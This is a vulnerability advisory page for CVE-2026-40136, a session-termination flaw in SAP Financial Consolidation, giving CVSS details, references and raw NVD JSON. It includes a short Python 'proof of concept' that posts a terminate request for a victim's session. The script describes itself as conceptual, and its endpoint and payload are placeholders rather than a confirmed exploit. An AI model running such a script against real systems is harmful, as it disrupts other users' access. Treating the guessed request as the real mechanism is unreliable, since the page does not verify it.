CVE-2026-40136

Description

SAP Financial Consolidation allows an authenticated attacker to disconnect other users by terminating their sessions temporarily preventing access. However, the application itself cannot be compromised resulting in a low impact on availability. There is no impact on confidentiality and integrity of the data

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

SAP Financial Consolidation (受影响版本详情请参考SAP Note 3713521)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Conceptual Proof of Concept for CVE-2026-40136
# This script demonstrates how an authenticated attacker might terminate a session.

TARGET_URL = "https://<target-host>/sap/bc/webdynpro_sap/some_session_manager"
ATTACKER_SESSION = "<attacker_valid_cookie>"
VICTIM_USER_ID = "<target_username>"

def exploit():
    headers = {
        "Cookie": f"JSESSIONID={ATTACKER_SESSION}",
        "User-Agent": "PoC-Client/1.0"
    }
    # Hypothetical payload to kill a session
    payload = {
        "action": "terminate",
        "user_id": VICTIM_USER_ID
    }

    try:
        response = requests.post(TARGET_URL, headers=headers, data=payload)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if victim session is terminated.")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40136
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40136
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40136/
[4] VulDB https://vuldb.com/cve/CVE-2026-40136
[5] https://me.sap.com/notes/3713521
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40136", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:12.560", "lastModified": "2026-05-12T03:16:12.560", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP Financial Consolidation allows an authenticated attacker to disconnect other users by terminating their sessions temporarily preventing access. However, the application itself cannot be compromised resulting in a low impact on availability. There is no impact on confidentiality and integrity of the data"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}]}], "references": [{"url": "https://me.sap.com/notes/3713521", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}